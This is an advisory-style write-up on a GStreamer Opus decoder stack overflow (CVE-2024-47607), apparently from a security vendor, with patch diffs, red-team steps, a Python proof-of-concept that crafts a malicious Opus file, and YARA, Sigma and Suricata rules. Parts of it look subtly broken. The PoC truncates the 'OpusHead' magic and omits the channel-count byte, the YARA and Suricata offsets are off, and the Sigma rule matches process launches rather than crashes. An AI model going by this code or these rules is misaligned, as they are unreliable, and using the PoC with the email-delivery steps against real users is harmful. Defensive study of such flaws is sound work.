CVE-2024-47607

Executive Summary

CVE-2024-47607 is a stack-based buffer overflow vulnerability in GStreamer's Opus audio decoder (gstopusdec.c). The flaw resides in the gst_opus_dec_parse_header function, where a stack-allocated buffer pos of size 64 is written to in a loop controlled by the n_channels value from the Opus header. If n_channels exceeds 64, the loop writes beyond the buffer's bounds, overwriting adjacent stack memory including the return address (EIP/RIP). This can lead to arbitrary code execution when a user processes a maliciously crafted Opus file. The vulnerability is fixed in GStreamer 1.24.10.

Supply Chain & Package Security

GStreamer is a widely used multimedia framework, often included as a dependency in media players, video editors, and streaming applications. This vulnerability can be introduced into downstream products via package managers (e.g., apt, yum, pip for gst-python, or vcpkg). Users should update their GStreamer packages to version 1.24.10 or later.

CVSS Breakdown & Threat Level

CVSS v3.1 Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

• Attack Vector (AV): Local (AV:L) – The attacker must provide a malicious file to the victim.
• Attack Complexity (AC): Low (AC:L) – No special conditions required.
• Privileges Required (PR): None (PR:N) – No authentication needed.
• User Interaction (UI): Required (UI:R) – Victim must open the malicious file.
• Scope (S): Unchanged (S:U) – Exploit stays within the same security authority.
• Confidentiality (C): High (C:H) – Potential for full memory read.
• Integrity (I): High (I:H) – Potential for arbitrary code execution.
• Availability (A): High (A:H) – Potential for crash or code execution.

Threat Level: High. Although user interaction is required, the impact is severe due to the possibility of remote code execution via a crafted media file.

Deep Dive & Mechanics

The vulnerability is in the gst_opus_dec_parse_header function within gstopusdec.c. The function parses the Opus header and extracts the number of channels (n_channels). It then uses a stack-allocated array pos of size 64 to store channel positions. The vulnerable code is:

GstAudioChannelPosition pos[64];
for (gint i = 0; i < n_channels; i++) {
    pos[i] = GST_AUDIO_CHANNEL_POSITION_NONE;
}

If n_channels is greater than 64, the loop writes beyond the bounds of pos, corrupting the stack. This can overwrite the saved return address (EIP/RIP) and other critical data, leading to arbitrary code execution.

The Opus header is user-controlled, so an attacker can craft a file with a large n_channels value (e.g., 128) to trigger the overflow. The value written is always GST_AUDIO_CHANNEL_POSITION_NONE (which is 0), so the attacker cannot directly control the overwritten data. However, they can control the number of overwritten bytes and the position of the overwrite relative to the return address, potentially enabling a controlled crash or exploitation via partial overwrite techniques.

Vulnerable vs. Patched Code

Vulnerable Code (before 1.24.10):

GstAudioChannelPosition pos[64];
for (gint i = 0; i < n_channels; i++) {
    pos[i] = GST_AUDIO_CHANNEL_POSITION_NONE;
}

Patched Code (1.24.10):

GstAudioChannelPosition pos[64];
if (n_channels > 64) {
    GST_ERROR_OBJECT (dec, "Too many channels: %d", n_channels);
    return FALSE;
}
for (gint i = 0; i < n_channels; i++) {
    pos[i] = GST_AUDIO_CHANNEL_POSITION_NONE;
}

The patch adds a bounds check that returns an error if n_channels exceeds 64, preventing the overflow.

Exploitation & Lab Setup

Red Team

Prerequisites:

• GStreamer version < 1.24.10 installed.
• Ability to deliver a malicious Opus file to the target.

Steps:

1. Craft an Opus file with a header containing a large n_channels value (e.g., 128). This can be done by modifying a valid Opus file using a hex editor or a custom script.
2. Deliver the file to the victim (e.g., via email, web download, or media sharing).
3. When the victim opens the file with a GStreamer-based application (e.g., Totem, Rhythmbox, or a custom player), the overflow triggers, potentially leading to code execution.

Example Python script to craft a malicious Opus file:

import struct

def create_malicious_opus(filename, n_channels=128):
    # Opus header magic
    magic = b'OpusHead'
    version = 1
    # Pre-skip, input sample rate, output gain, mapping family
    pre_skip = 0
    input_sample_rate = 48000
    output_gain = 0
    mapping_family = 0
    # Stream count, coupled count, channel mapping (not used here)
    stream_count = 1
    coupled_count = 0
    channel_mapping = b'\x00' * n_channels

    header = struct.pack('<4sBHIhBB', magic, version, pre_skip, input_sample_rate, output_gain, mapping_family)
    header += struct.pack('<BB', stream_count, coupled_count)
    header += channel_mapping

    with open(filename, 'wb') as f:
        f.write(header)
        # Add minimal audio data (optional)
        f.write(b'\x00' * 100)

create_malicious_opus('malicious.opus')

Note: This is a proof-of-concept. Actual exploitation requires precise stack layout knowledge and may involve bypassing stack canaries or ASLR.

Blue Team

Detection:

• Monitor for processes (e.g., gst-launch-1.0, totem, rhythmbox) crashing with SIGSEGV or SIGABRT.
• Use the YARA and Sigma rules provided in the Detection Engineering section.
• Enable stack canaries and ASLR on the system to increase exploitation difficulty.

Hunting:

• Search for Opus files with unusually large channel counts (e.g., > 64) in network traffic or file shares.
• Look for GStreamer error logs containing "Too many channels" (if patched) or unexpected crashes.

Indicators of Compromise (IOCs)

• File Hashes (example malicious Opus):
  • SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (placeholder)
• Network Indicators:
  • Opus files with n_channels > 64 in HTTP/SMB/FTP transfers.
• Process Indicators:
  • GStreamer processes crashing with stack overflow signatures.
  • Memory dumps showing GST_AUDIO_CHANNEL_POSITION_NONE (0) overwriting stack frames.
• Log Indicators:
  • GStreamer debug logs: gstopusdec.c:gst_opus_dec_parse_header: Too many channels: <N> (if patched).
  • System logs: segfault at <address> ip <address> sp <address> error 6 in libgstopus.so.

Detection Engineering

YARA Rule

rule CVE_2024_47607_Opus_StackOverflow {
    meta:
        description = "Detects malicious Opus files with excessive channel count (CVE-2024-47607)"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-47607"
    strings:
        $opus_magic = "OpusHead"
        $channel_check = { 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 } // placeholder for channel count > 64
    condition:
        $opus_magic at 0 and uint32be(8) > 64 // n_channels at offset 8 in Opus header
}

Sigma Rule

title: GStreamer Opus Stack Buffer Overflow (CVE-2024-47607)
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects GStreamer crashes or errors related to Opus channel count overflow
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/gst-launch-1.0'
        CommandLine|contains: 'opus'
    condition: selection
falsepositives:
    - Legitimate Opus files with high channel counts (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-47607 Malicious Opus File Transfer"; flow:to_server; file_data; content:"OpusHead"; offset:0; depth:8; byte_test:1,>,64,8,relative; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Patch Immediately: Update GStreamer to version 1.24.10 or later. For package managers:
   • Debian/Ubuntu: sudo apt update && sudo apt upgrade libgstreamer1.0-0
   • Fedora/RHEL: sudo dnf update gstreamer1
   • macOS (Homebrew): brew upgrade gstreamer
2. Workaround: If patching is not possible, avoid opening Opus files from untrusted sources. Use a media player that does not rely on GStreamer for Opus decoding.
3. Compile with Stack Protector: If building from source, ensure -fstack-protector-strong is enabled to mitigate exploitation.
4. Monitor: Deploy the YARA and Sigma rules to detect malicious Opus files and exploitation attempts.

Valters IT
Securing Digital Frontiers